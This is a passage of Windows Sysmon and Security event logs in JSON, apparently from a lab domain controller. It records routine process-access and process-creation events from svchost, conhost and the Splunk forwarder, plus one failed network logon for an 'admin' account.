11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1616,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1617,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1618,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221478,"ProcessID":860,"ThreadID":2712,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\tadmin\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t58820\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"admin","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"58820","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.437\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nSourceProcessId: 3852\r\nSourceThreadId: 3856\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.437","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","SourceProcessId":"3852","SourceThreadId":"3856","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.498\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001055F10200}\r\nProcessId: 3884\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nParentProcessId: 3800\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.498","ProcessGuid":"{90617006-3FE5-5F2D-0000-001055F10200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-001027CB0200}","ParentProcessId":"3800","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001027CB0200}\r\nSourceProcessId: 3800\r\nSourceThreadId: 3804\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nTargetProcessId: 3884\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001027CB0200}","SourceProcessId":"3800","SourceThreadId":"3804","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","TargetProcessId":"3884","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001055F10200}\r\nTargetProcessId: 3884\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001055F10200}","TargetProcessId":"3884","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 